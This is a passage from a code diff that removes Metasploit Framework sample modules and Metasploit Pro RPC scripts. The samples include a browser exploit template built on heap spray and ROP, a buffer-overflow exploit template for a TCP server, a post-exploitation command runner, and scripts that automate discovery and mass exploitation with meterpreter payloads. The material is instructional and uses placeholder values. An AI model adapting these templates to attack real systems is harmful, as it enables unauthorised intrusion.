# Import options specified in VAR=VAL format from the supplied command
|
||||
# line.
|
||||
driver.exploit.datastore.import_options_from_s(ARGV.join(' '))
|
||||
|
||||
# Share the exploit's datastore with the payload.
|
||||
driver.payload.share_datastore(driver.exploit.datastore)
|
||||
|
||||
# Initialize the target index to what's in the exploit's data store or
|
||||
# zero by default.
|
||||
driver.target_idx = (driver.exploit.datastore['TARGET'] || 0).to_i
|
||||
|
||||
# Initialize the exploit and payload user interfaces.
|
||||
driver.exploit.init_ui(input, output)
|
||||
driver.payload.init_ui(input, output)
|
||||
|
||||
# Fire it off.
|
||||
session = driver.run
|
||||
|
||||
# If a session came back, try to interact with it.
|
||||
if (session)
|
||||
output.print_status("Session #{session.sid} created, interacting...")
|
||||
output.print_line
|
||||
|
||||
session.init_ui(input, output)
|
||||
|
||||
session.interact
|
||||
else
|
||||
output.print_line("Exploit completed, no session was created.")
|
||||
end
|
||||
|
||||
rescue
|
||||
output.print_error("Error: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
|
@ -1,45 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
# This sample auxiliary module simply displays the selected action and
|
||||
# registers a custom command that will show up when the module is used.
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample Auxiliary Module',
|
||||
'Description' => 'Sample Auxiliary Module',
|
||||
'Author' => ['hdm'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
['Default Action'],
|
||||
['Another Action']
|
||||
]
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Running the simple auxiliary module with action #{action.name}")
|
||||
end
|
||||
|
||||
def auxiliary_commands
|
||||
return { "aux_extra_command" => "Run this auxiliary test commmand" }
|
||||
end
|
||||
|
||||
def cmd_aux_extra_command(*args)
|
||||
print_status("Running inside aux_extra_command()")
|
||||
end
|
||||
|
||||
end
|
|
@ -1,35 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
###
|
||||
#
|
||||
# This sample illustrates a very basic encoder that simply returns the block
|
||||
# that it's passed.
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Encoder
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Sample Encoder',
|
||||
'Description' => %q{
|
||||
Sample encoder that just returns the block it's passed
|
||||
when encoding occurs.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'skape',
|
||||
'Arch' => ARCH_ALL)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the unmodified buffer to the caller.
|
||||
#
|
||||
def encode_block(state, buf)
|
||||
buf
|
||||
end
|
||||
|
||||
end
|
|
@ -1,149 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# This exploit sample demonstrates how a typical browser exploit is written using commonly
|
||||
# used components such as: HttpServer, BrowserAutopwn, RopDB, DOM Element Property Spray.
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
|
||||
# Set :classid and :method for ActiveX exploits. For example:
|
||||
# :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
|
||||
# :method => "SetShapeNodeType",
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::IE,
|
||||
:ua_minver => "8.0",
|
||||
:ua_maxver => "10.0",
|
||||
:javascript => true,
|
||||
:os_name => OperatingSystems::Match::WINDOWS,
|
||||
:rank => NormalRanking
|
||||
})
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Module Name",
|
||||
'Description' => %q{
|
||||
This template covers IE8/9/10, and uses the user-agent HTTP header to detect
|
||||
the browser version. Please note IE8 and newer may emulate an older IE version
|
||||
in compatibility mode, in that case the module won't be able to detect the
|
||||
browser correctly.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://metasploit.com' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
|
||||
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
|
||||
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ],
|
||||
[ 'IE 9 on Windows 7', { 'Rop' => :jre } ],
|
||||
[ 'IE 10 on Windows 8', { 'Rop' => :jre } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00", # js_property_spray
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
when '6.0'
|
||||
os_name = 'Windows Vista'
|
||||
when '6.1'
|
||||
os_name = 'Windows 7'
|
||||
when '6.2'
|
||||
os_name = 'Windows 8'
|
||||
when '6.3'
|
||||
os_name = 'Windows 8.1'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def get_payload(t)
|
||||
stack_pivot = "\x41\x42\x43\x44"
|
||||
code = payload.encoded
|
||||
|
||||
case t['Rop']
|
||||
when :msvcrt
|
||||
print_status("Using msvcrt ROP")
|
||||
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
|
||||
|
||||
else
|
||||
print_status("Using JRE ROP")
|
||||
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
|
||||
end
|
||||
|
||||
rop_payload
|
||||
end
|
||||
|
||||
|
||||
def get_html(t)
|
||||
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
|
||||
html = %Q|
|
||||
<script>
|
||||
#{js_property_spray}
|
||||
|
||||
var s = unescape("#{js_p}");
|
||||
sprayHeap({shellcode:s});
|
||||
</script>
|
||||
|
|
||||
|
||||
html.gsub(/^\t\t/, '')
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
print_status("Requesting: #{request.uri}")
|
||||
|
||||
target = get_target(agent)
|
||||
if target.nil?
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Target selected as: #{target.name}")
|
||||
html = get_html(target)
|
||||
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
|
||||
end
|
||||
end
|
|
@ -1,85 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
# This exploit sample shows how an exploit module could be written to exploit
|
||||
# a bug in an arbitrary TCP server.
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
|
||||
#
|
||||
# This exploit affects TCP servers, so we use the TCP client mixin.
|
||||
#
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample Exploit',
|
||||
'Description' => %q{
|
||||
This exploit module illustrates how a vulnerability could be exploited
|
||||
in an TCP server that has a parsing bug.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['skape'],
|
||||
'References' =>
|
||||
[
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# Target 0: Windows All
|
||||
[
|
||||
'Windows XP/Vista/7/8',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Ret' => 0x41424344
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => "Apr 1 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
#
|
||||
# The sample exploit just indicates that the remote host is always
|
||||
# vulnerable.
|
||||
#
|
||||
def check
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
#
|
||||
# The exploit method connects to the remote service and sends 1024 random bytes
|
||||
# followed by the fake return address and then the payload.
|
||||
#
|
||||
def exploit
|
||||
connect
|
||||
|
||||
print_status("Sending #{payload.encoded.length} byte payload...")
|
||||
|
||||
# Build the buffer for transmission
|
||||
buf = rand_text_alpha(1024)
|
||||
buf << [ target.ret ].pack('V')
|
||||
buf << payload.encoded
|
||||
|
||||
# Send it off
|
||||
sock.put(buf)
|
||||
sock.get_once
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,34 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
# This class implements a very basic NOP sled generator that just returns a
|
||||
# string of 0x90's.
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Nop
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Sample NOP Generator',
|
||||
'Description' => 'Sample single-byte NOP generator',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'skape',
|
||||
'Arch' => ARCH_X86)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a string of 0x90's for the supplied length.
|
||||
#
|
||||
def generate_sled(length, opts)
|
||||
"\x90" * length
|
||||
end
|
||||
|
||||
end
|
|
@ -1,34 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
# This sample payload is designed to trigger a debugger exception via int3.
|
||||
#
|
||||
###
|
||||
module Metasploit4
|
||||
|
||||
include Msf::Payload::Single
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Debugger Trap',
|
||||
'Description' => 'Causes a debugger trap exception through int3',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'skape',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Payload' =>
|
||||
{
|
||||
'Payload' => "\xcc"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -1,40 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/common'
|
||||
|
||||
###
|
||||
#
|
||||
# This post module sample shows how we can execute a command on the compromised machine
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample Post Module',
|
||||
'Description' => %q{Sample Post Module},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r'],
|
||||
'Platform' => [ 'win'],
|
||||
'SessionTypes' => [ "shell", "meterpreter" ]
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# This post module runs a ipconfig command and returns the output
|
||||
#
|
||||
def run
|
||||
print_status("Executing ipconfig on remote machine")
|
||||
o = cmd_exec("ipconfig")
|
||||
print_line(o)
|
||||
end
|
||||
|
||||
end
|
|
@ -1,207 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'rubygems'
|
||||
require 'optparse'
|
||||
require 'msfrpc-client'
|
||||
require 'rex/ui'
|
||||
|
||||
def usage(ropts)
|
||||
$stderr.puts ropts
|
||||
|
||||
if @rpc and @rpc.token
|
||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
||||
if wspaces.keys.length > 0
|
||||
$stderr.puts "Active Projects:"
|
||||
wspaces.each_pair do |k,v|
|
||||
$stderr.puts "\t#{k}"
|
||||
end
|
||||
end
|
||||
end
|
||||
$stderr.puts ""
|
||||
exit(1)
|
||||
end
|
||||
|
||||
opts = {}
|
||||
|
||||
# Parse script-specific options
|
||||
parser = Msf::RPC::Client.option_parser(opts)
|
||||
parser.separator('Discover Mandatory Options:')
|
||||
|
||||
parser.on("--project PROJECT") do |x|
|
||||
opts[:project] = x
|
||||
end
|
||||
|
||||
parser.on("--targets TARGETS") do |x|
|
||||
opts[:targets] = [x]
|
||||
end
|
||||
|
||||
parser.on("--blacklist BLACKLIST (optional)") do |x|
|
||||
opts[:blacklist] = x
|
||||
end
|
||||
|
||||
parser.on("--speed SPEED (optional)") do |x|
|
||||
opts[:speed] = x
|
||||
end
|
||||
|
||||
parser.on("--extra-ports PORTS (optional)") do |x|
|
||||
opts[:extra_ports] = x
|
||||
end
|
||||
|
||||
parser.on("--blacklist-ports PORTS (optional)") do |x|
|
||||
opts[:blacklist_ports] = x
|
||||
end
|
||||
|
||||
parser.on("--custom-ports PORTS (optional)") do |x|
|
||||
opts[:custom_ports] = x
|
||||
end
|
||||
|
||||
parser.on("--portscan-timeout TIMEOUT (optional)") do |x|
|
||||
opts[:portscan_timeout] = x
|
||||
end
|
||||
|
||||
parser.on("--source-port PORT (optional)") do |x|
|
||||
opts[:source_port] = x
|
||||
end
|
||||
|
||||
parser.on("--custom-nmap-options OPTIONS (optional)") do |x|
|
||||
opts[:custom_nmap_options] = x
|
||||
end
|
||||
|
||||
parser.on("--disable-udp-probes (optional)") do
|
||||
opts[:disable_udp_probes] = true
|
||||
end
|
||||
|
||||
parser.on("--disable-finger-users (optional)") do
|
||||
opts[:disable_finger_users] = true
|
||||
end
|
||||
|
||||
parser.on("--disable-snmp-scan (optional)") do
|
||||
opts[:disable_snmp_scan] = true
|
||||
end
|
||||
|
||||
parser.on("--disable-service-identification (optional)") do
|
||||
opts[:disable_service_identification] = true
|
||||
end
|
||||
|
||||
parser.on("--smb-user USER (optional)") do |x|
|
||||
opts[:smb_user] = x
|
||||
end
|
||||
|
||||
parser.on("--smb-pass PASS (optional)") do |x|
|
||||
opts[:smb_pass] = x
|
||||
end
|
||||
|
||||
parser.on("--smb-domain DOMAIN (optional)") do |x|
|
||||
opts[:smb_domain] = x
|
||||
end
|
||||
|
||||
parser.on("--dry-run (optional)") do
|
||||
opts[:dry_run] = true
|
||||
end
|
||||
|
||||
parser.on("--single-scan (optional)") do
|
||||
opts[:single_scan] = true
|
||||
end
|
||||
|
||||
parser.on("--fast-detect (optional)") do
|
||||
opts[:fast_detect] = true
|
||||
end
|
||||
|
||||
parser.on("--help") do
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
parser.separator('')
|
||||
parser.parse!(ARGV)
|
||||
|
||||
@rpc = Msf::RPC::Client.new(opts)
|
||||
|
||||
if not @rpc.token
|
||||
$stderr.puts "Error: Invalid RPC server options specified"
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
# Provide default values for certain options - If there's no alternative set
|
||||
# use the default provided by Pro -- see the documentation.
|
||||
project = opts[:project] || usage(parser)
|
||||
targets = opts[:targets] || usage(parser)
|
||||
blacklist = opts[:blacklist]
|
||||
speed = opts[:speed] || "5"
|
||||
extra_ports = opts[:extra_ports]
|
||||
blacklist_ports = opts[:blacklist_ports]
|
||||
custom_ports = opts[:custom_ports]
|
||||
portscan_timeout = opts[:portscan_timeout] || 300
|
||||
source_port = opts[:source_port]
|
||||
custom_nmap_options = opts[:custom_nmap_options] ||
|
||||
disable_udp_probes = opts[:disable_udp_probes] || false
|
||||
disable_finger_users = opts[:disable_finger_users] || false
|
||||
disable_snmp_scan = opts[:disable_snmp_scan] || false
|
||||
disable_service_identification = opts[:disable_service_identification] || false
|
||||
smb_user = opts[:smb_user] || ""
|
||||
smb_pass = opts[:smb_pass] || ""
|
||||
smb_domain = opts[:smb_domain] || ""
|
||||
single_scan = opts[:single_scan] || false
|
||||
fast_detect = opts[:fast_detect] || false
|
||||
|
||||
# Get the default user from Pro
|
||||
user = @rpc.call("pro.default_admin_user")['username']
|
||||
|
||||
# Create the task object with all options
|
||||
task = @rpc.call("pro.start_discover", {
|
||||
'workspace' => project,
|
||||
'username' => user,
|
||||
'ips' => targets,
|
||||
'DS_BLACKLIST_HOSTS' => blacklist,
|
||||
'DS_PORTSCAN_SPEED' => speed,
|
||||
'DS_PORTS_EXTRA' => extra_ports,
|
||||
'DS_PORTS_BLACKLIST' => blacklist_ports,
|
||||
'DS_PORTS_CUSTOM' => custom_ports,
|
||||
'DS_PORTSCAN_TIMEOUT' => portscan_timeout,
|
||||
'DS_PORTSCAN_SOURCE_PORT' => source_port,
|
||||
'DS_CustomNmap' => custom_nmap_options,
|
||||
'DS_UDP_PROBES' => disable_udp_probes,
|
||||
'DS_FINGER_USERS' => disable_finger_users,
|
||||
'DS_SNMP_SCAN' => disable_snmp_scan,
|
||||
'DS_IDENTIFY_SERVICES' => disable_service_identification,
|
||||
'DS_SMBUser' => smb_user,
|
||||
'DS_SMBPass' => smb_pass,
|
||||
'DS_SMBDomain' => smb_domain,
|
||||
'DS_SINGLE_SCAN' => single_scan,
|
||||
'DS_FAST_DETECT' => fast_detect
|
||||
})
|
||||
|
||||
puts "DEBUG: Running task with #{task.inspect}"
|
||||
|
||||
if not task['task_id']
|
||||
$stderr.puts "[-] Error starting the task: #{task.inspect}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
puts "[*] Creating Task ID #{task['task_id']}..."
|
||||
while true
|
||||
select(nil, nil, nil, 0.50)
|
||||
|
||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
||||
|
||||
if stat['status'] == 'invalid'
|
||||
$stderr.puts "[-] Error checking task status"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
info = stat[ task['task_id'] ]
|
||||
|
||||
if not info
|
||||
$stderr.puts "[-] Error finding the task"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
if info['status'] == "error"
|
||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
break if info['progress'] == 100
|
||||
end
|
||||
|
||||
$stdout.puts "[+] Task Complete!"
|
|
@ -1,225 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'rubygems'
|
||||
require 'optparse'
|
||||
require 'msfrpc-client'
|
||||
require 'rex/ui'
|
||||
|
||||
def usage(ropts)
|
||||
$stderr.puts ropts
|
||||
|
||||
if @rpc and @rpc.token
|
||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
||||
if wspaces.keys.length > 0
|
||||
$stderr.puts "Active Projects:"
|
||||
wspaces.each_pair do |k,v|
|
||||
$stderr.puts "\t#{k}"
|
||||
end
|
||||
end
|
||||
end
|
||||
$stderr.puts ""
|
||||
exit(1)
|
||||
end
|
||||
|
||||
opts = {}
|
||||
opts[:blacklist] = ''
|
||||
opts[:whitelist_ports] = ''
|
||||
opts[:blacklist_ports] = ''
|
||||
opts[:exploit_timeout] = 5
|
||||
opts[:limit_sessions] = true
|
||||
opts[:ignore_fragile_devices] = true
|
||||
opts[:filter_by_os] = true
|
||||
opts[:only_match] = false
|
||||
opts[:match_vulns] = true
|
||||
opts[:match_ports] = true
|
||||
opts[:payload_method] = "auto"
|
||||
opts[:payload_type] = "meterpreter"
|
||||
opts[:payload_ports] = "4000-5000"
|
||||
opts[:evasion_level_tcp] = 0
|
||||
opts[:evasion_level_app] = 0
|
||||
opts[:module_filter] = ''
|
||||
|
||||
# Parse script-specific options
|
||||
parser = Msf::RPC::Client.option_parser(opts)
|
||||
parser.separator('Exploit Specific Options:')
|
||||
|
||||
parser.on("--project PROJECT") do |x|
|
||||
opts[:project] = x
|
||||
end
|
||||
|
||||
parser.on("--targets TARGETS") do |x|
|
||||
opts[:targets] = x
|
||||
end
|
||||
|
||||
parser.on("--speed SPEED") do |x|
|
||||
opts[:speed] = x
|
||||
end
|
||||
|
||||
parser.on("--minimum-rank RANK") do |x|
|
||||
opts[:rank] = x
|
||||
end
|
||||
|
||||
parser.on("--blacklist BLACKLIST (optional)") do |x|
|
||||
opts[:blacklist] = x
|
||||
end
|
||||
|
||||
parser.on("--whitelist-ports PORTS (optional)") do |x|
|
||||
opts[:whitelist_ports] = x
|
||||
end
|
||||
|
||||
parser.on("--blacklist-ports PORTS (optional)") do |x|
|
||||
opts[:blacklist_ports] = x
|
||||
end
|
||||
|
||||
parser.on("--exploit-timeout TIMEOUT (optional)") do |x|
|
||||
opts[:exploit_timeout] = x
|
||||
end
|
||||
|
||||
parser.on("--limit-sessions (optional)") do |x|
|
||||
opts[:limit_sessions] = (x =~ /^(y|t|1)/i ? true : false )
|
||||
end
|
||||
|
||||
parser.on("--ignore-fragile-devices (optional)") do |x|
|
||||
opts[:ignore_fragile_devices] = (x =~ /^(y|t|1)/i ? true : false )
|
||||
end
|
||||
|
||||
parser.on("--filter-by-os (optional)") do |x|
|
||||
opts[:filter_by_os] = (x =~ /^(y|t|1)/i ? true : false )
|
||||
end
|
||||
|
||||
parser.on("--dry-run (optional)") do |x|
|
||||
opts[:only_match] = (x =~ /^(y|t|1)/i ? true : false )
|
||||
end
|
||||
|
||||
parser.on("--match-vulns (optional)") do |x|
|
||||
opts[:match_vulns] = (x =~ /^(y|t|1)/i ? true : false )
|
||||
end
|
||||
|
||||
parser.on("--match-ports (optional)") do |x|
|
||||
opts[:match_ports] = (x =~ /^(y|t|1)/i ? true : false )
|
||||
end
|
||||
|
||||
parser.on("--payload-method AUTO|REVERSE|BIND (optional)") do |x|
|
||||
opts[:payload_method] = x
|
||||
end
|
||||
|
||||
parser.on("--payload-type METERPRETER|SHELL (optional)") do |x|
|
||||
opts[:payload_type] = x
|
||||
end
|
||||
|
||||
parser.on("--payload-ports PORTS (optional)") do |x|
|
||||
opts[:payload_ports] = x
|
||||
end
|
||||
|
||||
parser.on("--evasion-level-tcp LEVEL (optional)") do |x|
|
||||
opts[:evasion_level_tcp] = x
|
||||
end
|
||||
|
||||
parser.on("--evasion-level-app LEVEL (optional)") do |x|
|
||||
opts[:evasion_level_app] = x
|
||||
end
|
||||
|
||||
parser.on("--module-filter FILTER (optional)") do |x|
|
||||
opts[:module_filter] = x
|
||||
end
|
||||
|
||||
parser.on("--help") do
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
parser.separator('')
|
||||
parser.parse!(ARGV)
|
||||
|
||||
@rpc = Msf::RPC::Client.new(opts)
|
||||
|
||||
if not @rpc.token
|
||||
$stderr.puts "Error: Invalid RPC server options specified"
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
# Store the user's settings
|
||||
project = opts[:project] || usage(parser)
|
||||
targets = opts[:targets] || usage(parser)
|
||||
rank = opts[:rank] || usage(parser)
|
||||
speed = opts[:speed] || usage(parser)
|
||||
blacklist = opts[:blacklist]
|
||||
whitelist_ports = opts[:whitelist_ports]
|
||||
blacklist_ports = opts[:blacklist_ports]
|
||||
exploit_timeout = opts[:exploit_timeout]
|
||||
limit_sessions = opts[:limit_sessions]
|
||||
ignore_fragile_devices = opts[:ignore_fragile_devices]
|
||||
filter_by_os = opts[:filter_by_os]
|
||||
only_match = opts[:only_match]
|
||||
match_vulns = opts[:match_vulns]
|
||||
match_ports = opts[:match_ports]
|
||||
payload_method = opts[:payload_method]
|
||||
payload_type = opts[:payload_type]
|
||||
payload_ports = opts[:payload_ports]
|
||||
evasion_level_tcp = opts[:evasion_level_tcp]
|
||||
evasion_level_app = opts[:evasion_level_app]
|
||||
module_filter = opts[:module_filter]
|
||||
#===
|
||||
|
||||
# Get the default user
|
||||
user = @rpc.call("pro.default_admin_user")['username']
|
||||
|
||||
# Create the task object with all options
|
||||
task = @rpc.call("pro.start_exploit", {
|
||||
'workspace' => project,
|
||||
'username' => user,
|
||||
'DS_WHITELIST_HOSTS' => targets,
|
||||
'DS_BLACKLIST_HOSTS' => blacklist,
|
||||
'DS_WHITELIST_PORTS' => whitelist_ports,
|
||||
'DS_BLACKLIST_PORTS' => blacklist_ports,
|
||||
'DS_MinimumRank' => rank,
|
||||
'DS_EXPLOIT_SPEED' => speed,
|
||||
'DS_EXPLOIT_TIMEOUT' => exploit_timeout,
|
||||
'DS_LimitSessions' => limit_sessions,
|
||||
'DS_IgnoreFragileDevices' => ignore_fragile_devices,
|
||||
'DS_FilterByOS' => filter_by_os,
|
||||
'DS_OnlyMatch' => only_match,
|
||||
'DS_MATCH_VULNS' => match_vulns,
|
||||
'DS_MATCH_PORTS' => match_ports,
|
||||
'DS_PAYLOAD_METHOD' => payload_method,
|
||||
'DS_PAYLOAD_TYPE' => payload_type,
|
||||
'DS_PAYLOAD_PORTS' => payload_ports,
|
||||
'DS_EVASION_LEVEL_TCP' => evasion_level_tcp,
|
||||
'DS_EVASION_LEVEL_APP' => evasion_level_app,
|
||||
'DS_ModuleFilter' => module_filter
|
||||
})
|
||||
|
||||
puts "DEBUG: Running task with #{task.inspect}"
|
||||
|
||||
if not task['task_id']
|
||||
$stderr.puts "[-] Error starting the task: #{task.inspect}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
puts "[*] Creating Task ID #{task['task_id']}..."
|
||||
while true
|
||||
select(nil, nil, nil, 0.50)
|
||||
|
||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
||||
|
||||
if stat['status'] == 'invalid'
|
||||
$stderr.puts "[-] Error checking task status"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
info = stat[ task['task_id'] ]
|
||||
|
||||
if not info
|
||||
$stderr.puts "[-] Error finding the task"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
if info['status'] == "error"
|
||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
break if info['progress'] == 100
|
||||
end
|
||||
|
||||
$stdout.puts "[+] Task Complete!"
|
|
@ -1,91 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'rubygems'
|
||||
require 'optparse'
|
||||
require 'msfrpc-client'
|
||||
require 'rex/ui'
|
||||
|
||||
def usage(ropts)
|
||||
$stderr.puts ropts
|
||||
|
||||
if @rpc and @rpc.token
|
||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
||||
if wspaces.keys.length > 0
|
||||
$stderr.puts "Active Projects:"
|
||||
wspaces.each_pair do |k,v|
|
||||
$stderr.puts "\t#{k}"
|
||||
end
|
||||
end
|
||||
end
|
||||
exit(1)
|
||||
end
|
||||
|
||||
opts = {}
|
||||
|
||||
# Parse script-specific options
|
||||
parser = Msf::RPC::Client.option_parser(opts)
|
||||
parser.separator('Task Options:')
|
||||
|
||||
parser.on("--path PATH") do |path|
|
||||
opts[:path] = path
|
||||
end
|
||||
|
||||
parser.on("--project PROJECT") do |project|
|
||||
opts[:project] = project
|
||||
end
|
||||
|
||||
parser.on("--help") do
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
parser.separator('')
|
||||
|
||||
parser.parse!(ARGV)
|
||||
@rpc = Msf::RPC::Client.new(opts)
|
||||
|
||||
if not @rpc.token
|
||||
$stderr.puts "Error: Invalid RPC server options specified"
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
project = opts[:project] || usage(parser)
|
||||
path = opts[:path] || usage(parser)
|
||||
user = @rpc.call("pro.default_admin_user")['username']
|
||||
task = @rpc.call("pro.start_import", {
|
||||
'workspace' => project,
|
||||
'username' => user,
|
||||
'DS_PATH' => path
|
||||
})
|
||||
|
||||
if not task['task_id']
|
||||
$stderr.puts "[-] Error starting the task: #{task.inspect}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
puts "[*] Creating Task ID #{task['task_id']}..."
|
||||
while true
|
||||
select(nil, nil, nil, 0.50)
|
||||
|
||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
||||
|
||||
